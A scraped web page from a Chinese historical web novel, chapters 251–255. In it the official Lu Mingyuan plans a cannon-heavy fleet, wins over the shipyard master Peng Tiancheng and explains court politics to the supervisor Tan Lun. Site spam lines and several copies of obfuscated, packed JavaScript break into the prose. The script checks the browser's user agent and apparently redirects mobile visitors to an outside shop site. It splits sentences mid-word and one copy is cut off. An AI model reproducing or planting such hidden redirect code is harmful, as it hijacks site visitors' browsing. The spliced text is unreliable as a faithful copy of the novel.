他们纷纷跪倒在地,高声怒吼。 邓玉堂站在陆明渊身后,看着眼前这震撼人心的一幕,只觉得一股寒意从脊背升起。 他自问治军多年,也见过不少收拢人心的手段。 但如陆明渊这般,三言两语,便将一群桀骜不驯的亡命徒,化为忠心耿耿的死士。 如此手腕,简直堪称恐怖! 陆明渊抬起手,虚虚一压。 台下的声浪,奇迹般地平息了下去。 “很好。” 陆明渊的脸上,终于露出了一丝笑意。 “现在,本官给你们第一个立功的机会。” 他的目光扫过全场,缓缓说道。 “五日之后,镇海司将组建第一支船队,出海,开辟新的航路!” “此行,将直面风浪,直面未知的危险,更可能直面倭寇的主力船队!” “此行,九死一生!” “我需要五百名勇士,自靖海营中抽调。现在,本官给你们一个机会。” “愿意主动报名的,优先考虑!” “谁,愿为我镇海司,为我大乾,去闯出一条通天航路?” 话音刚落,台下寂静了一瞬。 紧接着,一个身材格外高大的汉子猛地站了出来。 他赤着上身,露出古铜色的精壮肌肉和纵横交错的伤疤,他用尽全身力气,咆哮道: “草民王铁牛,愿为伯爷先驱!” “草民李大疤,愿往!” “还有我!” 第252章 我什么时候说过要用朝廷的钱? 无数人争先恐后地举起手,生怕落于人后。 那股冲天的气势,仿佛要将夜空中的云层都撕裂开来! 陆明渊静静地看着众人,他的眼神平静无比。 欲望,是最好的缰绳。 想要驾驭这群亡命之徒,就要给他们希望,再给他们机会! “邓总兵。” 陆明渊的声音依旧平淡。 “末将在!” 邓玉堂从那股震撼中回过神来,连忙躬身应道,声音里不自觉地带上了一丝敬畏。 “点最先站出来的那五百人。” 陆明渊的目光从台下收回,落在了身旁的邓玉堂身上。 “这五百人,便是我镇海司靖海营的第一批种子,也是我们出海的先锋。” 他顿了顿,补充道。 “你再从温州卫中,挑选四千五百名精锐水师,凑足五千之数。” “五日之后,扬帆出海,本官要他们,去为我大乾,开辟出一条全新的温州海道!” 邓玉堂心头一凛,随即又是一阵热血沸腾。 五千人的水师! 这几乎是半个温州卫的可战之兵了! 他抱拳领命,但身为宿将的理智,还是让他提出了自己的疑虑。 “伯爷,五千水师出海,规模已然不小。” “光是粮草、**、赏恤等军费开支,初步估算,便不下三十万两白银。” “这还不算船只的修缮保养,以及其他后勤物资……” 邓玉堂沉吟片刻,小心翼翼地说道。 “末将斗胆,只是为了开辟海道,是否……是否用不到如此大的阵仗?” 他知道,这位年轻的伯爷行事向来有雷霆万钧之势。 但三十万两白银,对于常年军费紧张的温州卫来说,已然是一笔天文数字。 陆明渊没有回答,而是转身走下点兵台。邓玉堂连忙跟上。 两人走在返回府衙的路上,身后大营的喧嚣声渐渐远去。 只剩下火把燃烧时偶尔发出的“噼啪”声,和两人脚下军靴踩在石板上的沉重回响。 “邓总兵,你觉得三十万两很多?” 陆明渊忽然开口,语气里听不出喜怒。 “回伯爷,这笔钱,已是温州卫一年的军费总额了。” 邓玉堂实话实说。 “不多。” 陆明渊摇了摇头,他的目光穿过营房的剪影,望向远方墨色的海平面。 “不仅不多,还远远不够 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。 他停下脚步,转过身,黑夜中,他的眸子亮得惊人。 “我要的,不仅仅是一条海道。我要的是,温州船厂从即日起,必须全力以赴,不计成本,不眠不休! “三年!我只给你我,给**督,给这东南沿海的亿万百姓,三年的时间! “三年之内,我要在温州港,看到至少三十艘全新的主力战船!一百艘辅助哨船! “我要将温州水师,扩充成一支足以纵横东海的无敌舰队! “我要这支舰队,配合**督的大军,将盘踞东南多年的汪直及其党羽,彻底肃清,连根拔起! 一番话,如同一道道惊雷,在邓玉堂的脑海中轰然炸响! 他被陆明渊那庞大到近乎疯狂的计划给惊得呆立当场,一时间竟说不出话来。 肃清汪直? 这是从嘉靖十年倭乱兴起开始,朝廷数代督抚都未能完成的伟业! 眼前的少年伯爵,竟然要以三年为期,毕其功于一役? 邓玉堂感觉自己的喉咙有些发干,他艰难地咽了口唾沫,沙哑着嗓子。 “伯爷……一艘福船样式的战船,其造价,便在三千两白银上下。 “三十艘主力战船,光是船体,便……便是九万两白银……这还不算火炮、帆索、人工……这…… 他本想说九十万两,但话到嘴边,却觉得那个数字太过荒谬,连自己都不敢相信。 “三千两? 陆明渊嘴角勾起一抹冷峭的弧度。 “那种只能在近海欺负一下小股倭寇的破船,也配叫战船? “我要的战船,不是三千两,是六千两一艘! “我要在千机院新炼熟铁的支撑下,对船体龙骨进行加固! “我还要在每一艘主力战船之上,至少配备十六门新铸的红夷大炮! “听好了,邓总兵。 陆明渊的声音变得低沉而清晰。 “我的舰队,将分为三个层次。 “第一层,是五艘主力宝船,巨舰重炮,是为舰队核心,用以正面击潰敌军主力,一锤定音! “每艘船,左右舷各配八门重炮,共十六门! “第二层,是十五艘副战船,船体稍小,更为灵活,用以穿插包抄,护卫主力。 “每艘船,配八门中型火炮! “第三层,是三十艘哨船,船体最轻,速度最快! “配备四门小型火炮,不求杀敌,但求其快! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ” 邓玉堂的呼吸,彻底停滞了。 他是个将才,陆明渊只说了个大概,他脑中便已经勾勒出了一支前所未有的恐怖舰队。 巨舰!重炮! 分层打击!协同作战! 这已经完全超越了当今大乾,乃至整个东亚水师的作战理念! 他用自己最快的速度在心中计算着,冷汗,瞬间浸透了背后的衣甲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777343|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>五艘主力舰,光是船体加火炮,恐怕就要超过十五万两。 十五艘副战船,又是二十万两不止。 再加上三十艘哨船和其他辅助船只…… “伯爷……” 邓玉堂的声音因为极度的震惊而变得嘶哑。 “这样一支舰队,不算人员粮饷,光是建造成本,恐怕……恐怕要超过一百万两白银!” “朝廷……朝廷绝不可能批下如此巨款,来打造一支地方水师的!” “朝廷?” 陆明渊闻言,却是淡淡一笑。 “我什么时候说过,要用朝廷的钱了?” 邓玉堂猛地抬起头,不可思议地看着陆明渊。 不用朝廷的钱? 那这一百万两白银,从何而来? 难道…… 陆明渊没有给他继续猜测的时间,他拍了拍邓玉堂那坚实的肩膀,语气恢复了平静。 “你只需要做好你的事。五天之内,将五千水师整备完毕。” “五天之后,带着那五百名‘靖海营’的降卒,给我漂漂亮亮地打好这第一仗!” “至于钱的事,本官,自会处置。” 说完,他不再停留,转身带着自己的亲卫,朝着营门外走去。 …… 离开温州卫大营,陆明渊没有回府衙,而是调转马头,径直朝着城东而去。 夜色更深了,万籁俱寂,唯有马蹄敲打在青石板上的“嗒嗒”声,在空旷的街道上回响。 城东,是温州府的匠作区,这里汇集了温州最好的工匠。 而其中,规模最大,灯火最盛的,便是温州船厂。 即便是在深夜,船厂内依旧是人声鼎沸。 巨大的厂房里透出熊熊的火光,空气中弥漫着桐油、麻绳和潮湿木料混合的味道。 无数光着膀子的工匠,正在热火朝天地劳作着。 敲打声、锯木声、号子声此起彼伏。 这里,是大乾东南最大的官办船厂之一,也是陆明渊实现他那宏伟蓝图的另一个关键。 千机院的铁,要变成镇海司的炮。 靖海营的人,要登上温州厂的船。 人、铁、船、炮,四者合一,才能锻造出他手中那把足以劈开**波涛,奠定一个崭新帝国基石的无敌水师。 他翻身下马,将马缰丢给亲卫,看着那片冲天的火光,眼眸深邃如海。 漕海一体,绝不仅仅是开一条商路,运一批粮食那么简单。 它是一场彻头彻尾的变革。 它要改变的,是这个帝国对待远海的方式。 它要改变的,是大乾水师,几十年的孱弱积弊! 他整理了一下自己的衣冠,迈步向着那片喧嚣与光明走去。 他需要和温州船厂的负责人,好好谈一谈。 第253章 士为知己者死! 夜风带着海水的咸腥与木料的清香拂过陆明渊的官袍。 冲天的火光将半边夜空映照得如同黄昏。 一名膀大腰圆的护卫头目注意到了门口的陆明渊一行人。 见他们衣着华贵气度不凡不敢怠慢却也恪尽职守上前一步横臂拦住。 “夜深了 陆明渊的亲卫正要上前呵斥却被他抬手制止。 他从袖中取出一枚令牌令牌在火光下泛着温润的幽光上面一个古朴的“陆”字彰显着主人的身份。 “镇海司陆明渊求见船厂总办彭天成彭大人。” 护卫头目看到令牌脸色骤变。 他哪里不认得这便是那位新上任的陆知府半年之内肃清温州府数十年倭患的传奇人物。 “陆知府稍待小的这就去通报!” 他不敢耽搁转身一路小跑冲进了那片喧嚣的厂房之中。 不多时一个身形清瘦但精神矍铄的老者便在一众工匠的簇拥下快步走了出来。 他约莫五十多岁年纪头发已然花白但一双眼睛却亮得惊人。 他的手上布满了老茧与细小的伤痕指甲缝里还嵌着黑色的油泥。 一身普通的麻布短衫若非身旁人众星捧月般的态度任谁也看不出他便是这东南第一大船厂的总负责人。 “下官温州船厂提举司总办彭天成参见陆知府!” 彭天成走到近前深深一揖声音洪亮中气十足。 “彭总办无须多礼。” 陆明渊虚扶一把目光越过他望向他身后那热火朝天的景象赞叹道。 “深夜至此船厂依旧灯火不息彭总办治下有方本官佩服。” 彭天成闻言脸上露出一丝苦笑摇了摇头。 “陆知府谬赞了。不过是朝廷的军令催得紧底下的人拿命在赶工罢了。” 他侧过身做了个“请”的手势。 “知府大人深夜到访想必有要事。” “外面喧闹还请知府大人移步到里面一叙。” 陆明渊点了点头随着彭天成走进了巨大的船坞。 一踏入其中那股热浪便扑面而来巨大的声浪几乎要将人的耳膜震碎。 一座座巨大的船体骨架静静地矗立在木架之上。 工匠们攀附在这些骨架上敲敲打打一丝不苟。 “知府大人请 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 看” 彭天成指着一艘初具雏形的福船 “此乃我大乾水师的制式福船船体高大底尖上阔吃水四米有余。” “首尾高昂可御风浪船上可设三桅顺风之时一日可行百里。” 他如数家珍般介绍着。 “全船上下共设水密隔舱十三道即便一两处受损亦不影响大局。” “在近海之上对上那些倭寇的小战船有碾压之势。” 陆明渊静静地听着他绕着这艘战船走了一圈。 手指轻轻拂过那坚实的船壳感受着木料传来的厚重质感。 “彭总办” 他停下脚步忽然开口。 “这样的福船能装多少门火炮?” 彭天成一怔随即答道。 “回陆知府按照兵部的规制一艘主力福船可配备佛郎机炮八门碗口铳十余门用以清扫甲板足矣。” “不足。” 陆明渊摇了摇头语气斩钉截铁。 “远远不足。” 他转过身面对着彭天成那双在火光中显得格外深邃的眸子紧紧地盯着这位造船大师。 “我要的不是欺负小早船的近海巡船。我要的是能一锤定音击沉敌军主力巨舰的真正战船!” “彭总办我问你若是在这艘船上装上十六门新铸的红夷大炮船还能走吗?” “什么?!” 彭天成一脸骇然地看着陆明渊。 “十六门……红夷大炮?” 他几乎以为自己听错了。 红夷大炮何其沉重? 一门便有数千斤之重十六门那便是数万斤的死重! 这已经远远超出了福船的设计承载! “知府大人万万不可!” 彭天成的脸色变得凝重无比。 “知府大人有所不知船之根本在于龙骨与配重。” “这数万斤的炮火压上去船体重心将急剧升高别说迎风破浪便是在港内稍有风吹便有倾覆之危!” “如此重量现有的龙骨根本无法支撑航行不了几次整个船体便会从中断裂!” “这是在拿数千将士的性命开玩笑!” “我知道。” 陆明渊的回答再次出乎他的意料。 “所以我来找你。” “既然现有龙骨无法支撑那就换!换更粗更坚固的龙骨!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “既然重心会升高,那就重新设计船体!加宽船底,降低重心,哪怕牺牲一部分速度,也要保证它的稳定! “我要的,就是一艘移动的海上炮台!彭总办,你告诉我,这样的船,温州船厂,能不能造?! 彭天成彻底沉默了。 他呆呆地看着眼前的少年知府,心中的震撼无以复加。 他本以为这只是一个年轻知府的狂想,却没想到,对方竟然连技术上的关键点都考虑到了。 更换龙骨? 重新设计船体? 这说起来简单,但其中的难度,不亚于从零开始,创造一种全新的船型! 他沉思了许久,脑海中,无数的船体图纸、数据、榫卯结构在飞速地闪现、组合、崩塌、再重组。 良久,他才抬起头,眼中那份属于匠人的执拗与狂热,被彻底点燃了。 “陆知府……天下间,没有我温州船厂造不出的船。 他的声音有些沙哑,但却透着一股无比的自信。 “但是…… 他话锋一转,眉头紧紧锁起。 “知府大人可知,更换龙骨,意味着什么? “福船龙骨,多用本地所产的樟木、柯木,已是良材。 “但若要承载十六门红夷大炮,非得用生长百年以上的巨木,一体而成,不可拼接。 “如此巨木,我浙江沿海,早已绝迹。 彭天成的目光变得悠远而沉重。 “唯有深入川蜀、云贵十万大山,寻觅那里的百年铁力木、杉木,方可担当此任。 “一根合格的龙骨巨木,从深山伐倒,运出大山,再沿江河转运至温州。 “光是这一路的运费、人力、打点,便不下万两白银,这还仅仅是一根木料! 他看着陆明渊,一字一顿地说道。 “如此算来,光是建造一艘陆知府所说的主力战船,其成本,恐怕就要高达五万两白银! “算上十六门红衣大炮,一艘战船造下来,至少也要七万两银子。 “这个价格,下官斗胆,别说陆知府您,便是朝廷……也绝无可能批复。 他以为这番话,足以让任何人望而却步。 然而,陆明渊只是呵呵一笑。 那笑容里,带着一丝彭天成看不懂的从容与睥睨。 “钱的事,不是你该操心的。 同样的话,第二次说出口,却带着截然不同的分量。 “彭 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 总办,你只需要告诉我,你需要什么样的木料,你需要多少顶级的工匠,你需要多大的船坞。 陆明渊上前一步,拍了拍彭天成的肩膀,语气变得无比郑重。 “你只需要拿出一个可行的方案,将这艘前所未有的战船,从图纸变为现实。 “至于它需要多少银子,一百万两,还是两百万两,本官,自会为你筹措! 彭天成看着陆明渊那双亮得惊人的眼睛。 那里面没有丝毫的狂妄与虚言,只有着如山般沉稳的自信,和如海般深邃的决心。 他忽然明白了。 这位年轻的知府,不是在开玩笑。 他是认真的。 一股热流,猛地从彭天成的心底涌起,瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777344|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲上了眼眶。 他这一生,都在和木头、图纸、算盘打交道。 他见过太多指手画脚的官员,见过太多克扣经费的文书。 他为了几百两的修船款,能跟布政司的官吏磨上几个月的嘴皮。 可他从未见过这样的人。 一个敢对他说“不计成本,只求他造出最好战船的封疆大吏! “陆知府…… 彭天成的声音哽咽了。 陆明渊看着他,神情肃穆,缓缓说道。 “彭总办,此事,非我一人之私。 “它关乎我东南沿海数十年倭患能否一朝肃清,更关乎这浙江,这福建,千万百姓的生计与安宁! “汪直之流,盘踞海上,勾结豪绅,荼毒生灵。 “若无雷霆手段,无敌水师,何以清平寰宇,扬我大乾国威? 说完,陆明渊整理了一下自己的衣冠。 在彭天成那震惊到无以复加的目光中,对着他,一个船厂总办,一个匠人,深深地弯下了腰。 “本官陆明渊,今日,代这东南沿海亿万黎民,拜托彭总办了! 一揖及地。 这一拜,如同一座大山,轰然压在了彭天成的心头。 “陆知府!使不得!万万使不得啊! 彭天成大惊失色,连忙上前,想要将陆明渊搀扶起来。 可他的手刚一碰到陆明渊的胳膊,眼泪便再也忍不住,夺眶而出。 一个年过半百的老匠人,此刻哭得像个孩子。 他早就听闻了这位陆知府在温州府的所作所为,减租减息,清剿匪患,桩桩件件,都是为了百姓。 他早就清楚,这位陆知府上任半年,便将盘踞温州多年的倭寇 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 连根拔起,解救了无数被掳掠的百姓。 他知道,这是一位真正为国为民的好官。 而现在,这位好官,为了肃清整个东南的倭患,正对他这个匠人,行此大礼! 士为知己者死! 陆明渊这一拜,直接拜进了这位年过半百的总办心中! 彭天成颤抖着双手,将陆明渊搀扶起来,然后,他猛地后退一步。 他对着陆明渊,同样深深的,无比郑重地躬身回了一礼。 “陆知府放心!” 他抬起头,满是泪痕的脸上,是前所未有的坚定与决绝。 “三日!请陆知府给下官三日时间!” “下官便是熬干心血,不眠不休,也定为陆知府设计出一艘全新的战船雏形!” “下官在此立誓,此生,定竭尽所能,不负陆知府所托!” “不负……这东南千万黎民的期盼!” 陆明渊闻言满意的点了点头,他和彭天成商量了一些后续事宜,这才返回府衙! …… 月上中天。 当陆明渊带着一身桐油味和疲惫,回到府衙时,整个衙门早已陷入沉寂。 他没有回后院休息,而是径直走向了自己的书房。 还有太多的公务需要处理,还有太多的计划需要完善,整个温州如今百废待兴,各种事物都要他拿主意。 他推开书房的门,点亮了桌上的烛火。 昏黄的灯光,将他修长的身影投射在墙壁上,显得有些孤单,却又无比坚定。 就在此时,府衙的另一处,一名略显疲惫的官员正准备收拾文书回家。 他叫谭伦,是清流安排到浙江的重要一环! 原先任台州知府,后因镇海司初建,被调来温州任监军,督制镇海司诸多事物! 他无意中一抬头,却看到远处陆知府的书房,竟然亮起了灯。 谭伦不由得愣住了。 陆知府不是去巡视大营,而后又去了船厂吗? 这般劳碌了一整天,深夜归来,竟还不休息? 一股难以言喻的震撼与敬佩,涌上谭伦的心头。 他犹豫了片刻,鬼使神差地,迈开脚步,朝着那片孤独的灯火,悄然走了过去。 第254章 这件事,没人会反对! 夜已深沉温州府衙之内除了更夫的梆子声便只剩下风过檐角的呜咽。 书房的窗纸上映着一个伏案疾书的剪影年轻却沉静如山。 谭伦在廊下站定心中百感交集。 他没有立刻上前只是静静地看着。 门房的下人打着哈欠走过来见到谭伦一身官服不敢怠慢。 正要询问却被谭伦一个噤声的手势止住。 他指了指那亮灯的书房用气音问道:“知府……一直未曾安歇?” 下人脸上露出理所当然又带着几分敬佩的神色低声道。 “回大人话伯爷从船厂回来便一头扎进了书房说是还有些要紧的文书要批。” “小的们劝过伯爷只说今日事今日毕。” 谭伦的心被这句话狠狠地撞了一下。 他此次奉裕王之命从台州赶来温州名为协助实为观察。 裕王对这位少年伯爵的看重与日俱增但其行事风格之凌厉布局之宏大也让裕王心中存了一丝疑虑。 派他前来便是要亲眼看看这位陆明渊究竟是经天纬地的奇才还是恃才傲物的狂人。 他来到温州已有五日。 这五日里他走遍了温州府的大街小巷。 听到的看到的全是百姓对这位“陆青天”发自肺腑的赞誉。 减租减息让佃户有了活路。 清剿匪患让商旅重拾信心。 肃清倭寇的赫赫战功更是成了说书人嘴里最精彩的段子。 他原以为其中或有夸大之词是百姓对好官的一种美好想象。 可今夜站在这孤独的灯火下看着那不知疲倦的身影谭伦忽然明白所有的赞誉都非虚言。 这位年仅弱冠的伯爵他担得起。 他深吸一口气不再犹豫对那下人道。 “烦请通报一声就说监军谭伦有要事求见。” “谭大人稍候。” 下人不敢耽搁轻手轻脚地走到书房门口低声通禀。 片刻后门内传来一个清朗而略带疲惫的声音。 “请谭大人进来。” 谭伦整理了一下衣冠推门而入。 书房之内陈设简单最引人注目的便是那张巨大的书案。 案上 谭伦的目光扫过那些文书的封皮。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 《温州府秋粮征缴条陈》、《沿海卫所兵员核查疏》、《市舶司贸易章程草议》 每一份都是关乎国计民生的繁杂政务。 一瞬间谭伦只觉得喉头有些发堵。 他见过太多以“军务繁忙”为由将地方政务弃之不顾的武官。 也见过太多只知空谈大略却不屑于处理琐碎细节的文臣。 像陆明渊这般白日经略军机深夜批阅文书将千钧重担一肩挑起的人他平生未见。 “下官谭伦参见知府大人。” 谭伦收敛心神躬身长揖语气中不自觉地带上了深深的敬意。 “谭先生不必多礼。” 陆明渊放下手中的狼毫笔站起身绕出书案对着谭伦端端正正地回了一礼。 他知道谭伦的来历更知道此人在历史上是以清廉务实、一心为民著称的干吏。 对于这样的人无论其现在官阶高低陆明渊都抱有足够的尊重。 “深夜前来叨扰知府大人了。” 谭伦道。 “无妨。” 陆明渊摆了摆手对侍立在旁的亲卫道。 “你们都先下去吧我与谭先生有要事相商。” “是。” 待亲卫将房门轻轻带上书房内便只剩下两人和一豆烛火。 陆明渊亲自为谭伦倒了一杯热茶做了个“请”的手势这才开口问道。 “谭先生深夜到访想必不是为了寻常公事。不知有何见教?” 谭伦捧着温热的茶杯神情一凛郑重地说道。 “伯爷明鉴。下官五日前便已抵达温州只是当时伯爷正在杭州府述职未能得见。” “今日白日又听闻伯爷巡视大营、查访船厂公务缠身不敢打扰。” “等到现在实属无奈之举。” “下官此次前来是有一事心中实在不安不吐不快。” “此事关乎伯爷新设的‘靖海营’。” “哦?” 陆明渊闻言原本略带疲惫的眼神瞬间变得锐利起来他坐直了身子静静地看着谭伦。 “谭先生但说无妨。” 得到许可谭伦也不再拐弯抹角他放下茶杯沉声道。 “伯爷下官斗胆直言。这靖海营的筹备是否……过于仓促了?” 他斟酌着词句但语气中的忧虑却十分明显。 “据下官所知 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 文奏请内阁。”、 “如今严阁老与徐阁老尚未对相关条陈进行‘披红’也就是说此事在朝廷中枢尚未成为定案。” “可伯爷却已将靖海营五百人马尽数派出清剿沿海岛屿的散倭 “这……这已是先斩后奏之举。” 谭伦的声音压得更低了眼中满是担忧。 “伯爷如此行事万一……我是说万一内阁最终驳回了成立靖海营的提议届时伯爷又该如何收场?” “这五百将士的功劳算还是不算?朝廷不认伯爷您难道要自掏腰包去填这个窟窿吗?” “更重要的是陛下最是忌讳臣子擅专。” “伯爷此举在陛下眼中会是如何观感?” “下官……深为伯爷担忧啊!” 一番话说完谭伦紧紧地盯着陆明渊想从他脸上看到一丝凝重或是后悔。 然而他失望了。 陆明渊只是静静地听着脸上非但没有丝毫忧色。 慢慢地陆明渊浮现出一抹淡淡的仿佛一切尽在掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777345|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握的笑容。 “哈哈!” 他轻笑出声笑声在安静的书房里显得格外清晰。 他端起茶杯轻轻吹了吹漂浮的茶叶才不紧不慢地说道。 “谭先生的顾虑很有道理换做任何一个寻常官员都会有你这样的担忧。但是……” 他抬起眼目光清澈而深邃仿佛能洞悉人心。 “这件事没人会反对。” “为何?” 谭伦下意识地追问。 陆明渊放下茶杯伸出了一根手指。 “其一钱。谭先生可知这靖海营所需的军费从何而来?” 谭伦一愣摇了摇头。 陆明渊笑道:“并非来自国库也无需户部拨款。” “这笔钱由宁波沈家、温州陈家以及温州本地愿意参与开海的各家商号共同筹措。” “朝廷为他们开辟财源他们为朝廷提供军费。” “于朝廷而言这是不花一文钱便能多出一支精锐水师的无本买卖。” “高尚书那里只有高兴的道理断没有反对的道理。” 他又伸出了第二根手指。 “其二功。靖海营打出了威风肃清了倭患海路太平商贸繁荣。” “这功劳是谁的?首先是我大乾天威浩荡是陛下圣明烛照。” “然后 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 是内阁诸公运筹帷幄,是六部九卿调度有方。” 陆明渊的笑容里,带着一丝成年人才能看懂的通透与了然。 “有胡部堂在东南坐镇,这份天大的功劳,自然有严阁老的一份,谁也抢不走。” “严党一脉,只会鼎力支持,又怎会从中作梗?” 说到这里,他看向谭伦,目光中多了几分意味深长。 “而有谭先生你在此,你代表的自然是裕王府和清流一脉。” “身为监军和镇海司提督,这份功劳,自然也少不了徐阁老和清流诸公的一份。” 陆明渊缓缓靠回椅背,双手交叠放在身前,语气变得平淡。 “谭先生你看,这桩买卖,陛下得了威名,严党得了实惠,清流得了清誉,商家得了利润,百姓得了安宁。” “所有人都得偿所愿,皆大欢喜。” “那么,问题来了。” “一件对所有人都好的事情,谁会是那个不识时务,非要站出来阻拦的人呢?” “谁敢拦着,就是不想让陛下高兴,就是不想让严阁老舒心,就是不想让徐阁老好看。” “就是跟满朝的衮衮诸公过不去,就是跟东南沿海嗷嗷待哺的千万百姓作对。” “陛下不会同意,朝中衮衮诸公,更不会同意。” 陆明渊端起已经微凉的茶,一饮而尽,发出一声畅快的轻叹。 “所以,谭先生的顾虑,是多余的。” “不知道谭大人,还有什么地方不明白?” 第255章 我要为大乾打开扇通往世界的门 书房之内,烛火静静地燃烧着,将陆明渊年轻的面容映照得轮廓分明。 那双清澈的眼眸深处,映出了朝堂的波诡云诈,也映出了天下的芸芸众生。 谭伦的喉结艰难地滚动了一下。 他不是不明白,而是太明白了。 他终于明白,自己从杭州动身的那一刻起,就已经是这盘棋局上的一颗棋子。 而执棋的人,远在京城,高居九天之上。 靖海营只是一个开始,一个引子。 漕海一体,另设“镇海司。 这才是真正的图穷匕见! 每年八百万两白银的进项,一支不受东南官场节制、直属于中枢的强大水师。 这是何等巨大的权柄和利益? 严党想要,清流也想要。 可陛下……想给他们吗? 谭伦的脑海中仿佛有惊雷炸响,过往种种模糊不清的细节,在这一刻豁然贯通。 为什么陛下会同意一个十二岁少年如此惊世骇俗的提议? 为什么陛下不仅同意了,还专门让最讲规矩的户部和吏部去商议章程? 为什么陛下会直接下旨,让陆明渊“代领 这一切,都不是为了掣肘,恰恰相反,是为了铺路! 是为了给陆明渊积攒无人能及的声望与功勋! 从漕海一体的念头在陛下的脑海中生根发芽的那一刻起。 陛下就从未打算过,将这个关乎国朝命脉的“镇海司,交到严党或者清流任何一方的手里。 镇海司,必须也只能掌握在皇党手中! 而陆明渊,这个横空出世、不属于任何派系、却又与各方都有着千丝万缕联系的少年伯爵。 便是陛下手中最锋利,也最趁手的那把刀! 他谭伦,奉裕王之命前来,名为协助,实为观察。 可现在看来,裕王的观察,又何尝不是陛下的观察? 陛下想看的,不是陆明渊能不能成事。 而是他谭伦,能不能看懂这盘棋,能不能摆正自己的位置,去配合陆明渊,做成这件事! 想通了这一层,谭伦只觉得后背瞬间被冷汗浸透。 他看着眼前这个比自己儿子大不了几岁的少年,心中再无一丝一毫的轻视,只剩下如山岳压顶般的敬畏。 他缓缓地站起身,整理了一下有些凌乱的衣袍,然后,对着陆明渊,长揖及地。 “伯爷之才,经天纬地。谭伦……心服口服。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 他的声音带着一丝颤抖,却无比的坚定。 陆明渊静静地看着他,没有立刻去扶,只是目光平静地接受了这一礼。 他知道,从这一刻起,谭伦才算是真正归心。 “谭先生请起。” 陆明渊的声音依旧温和,“你我之间,无需如此。” 谭伦直起身,目光灼灼地看着陆明渊,沉声道。 “伯爷,下官今夜前来,名为请教,实为……请罪。” 他深吸一口气,脸上浮现出一抹愧色。 “下官此次来浙江,其实是奉了两道密令。” 此言一出,书房内的空气仿佛都凝固了。 “一道,来自宫里。要我……全权配合伯爷行事,不得干涉其中任何关节。” “另一道,来自裕王府。要我……全力配合伯爷行事,非到情势万分危急之时,不得干涉。” 谭伦的脸上满是苦涩的自嘲。 “无论是宫里,还是裕王府,他们似乎都坚信,伯爷您一定能做成这件事。” “说实话,下官来之前,是不信的,也是不服的。” 他看着陆明渊那张稚气未脱的脸,坦然地说出了自己内心最真实的想法。 “一个十二岁的状元,纵然才华惊艳古今,但毕竟……只有十二岁。” “官场之上,人心鬼蜮,利益纠葛错综复杂,那些人情世故的环节,那些阴私诡谲的手段,岂是读几本圣贤书就能通晓的?” “更何况,镇海司牵涉的是每年八百万两白银的进项,这里面的水,深不见底,稍有不慎,便是粉身碎骨的下场。” “下官斗胆,来之前,我实在不相信,您能权衡好这一切。” 陆明渊没有说话,只是静静地听着,嘴角噙着一抹若有若无的笑意。 谭伦的语气却陡然一转,眼中爆发出炙热的光芒。 “但是,我来温州这五日,我信了,也服了!” “我看到清晨卯时,街边的炊饼摊主提起您时,满是笑意。” “我看到正午时分,码头上赤着膊,说起‘陆青天’时,嗓门里,充满了用不完的力气。” “我看到黄昏日落,田埂上歇脚的老农,谈及减租减息,浑浊的眼睛里,满是希望!” “我还去了牛邙山下那处安置营,我亲眼见到了那两千多个被解救回来的女子!” 谭伦的声音越来越激动,说到最后,眼眶竟微微泛红。 “伯爷在浙江的所作所为,桩桩件件,我都 你的朋友正在书荒,快去帮帮他吧 亲眼见到了,亲耳听到了!” “我无比钦佩!” 他胸膛剧烈地起伏着,仿佛要将这五日积攒的所有震撼与感动,都一次性宣泄出来。 “所以,下官今夜前来,就是要向伯爷表明一件事。” 谭伦的目光变得无比郑重,他一字一顿地说道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 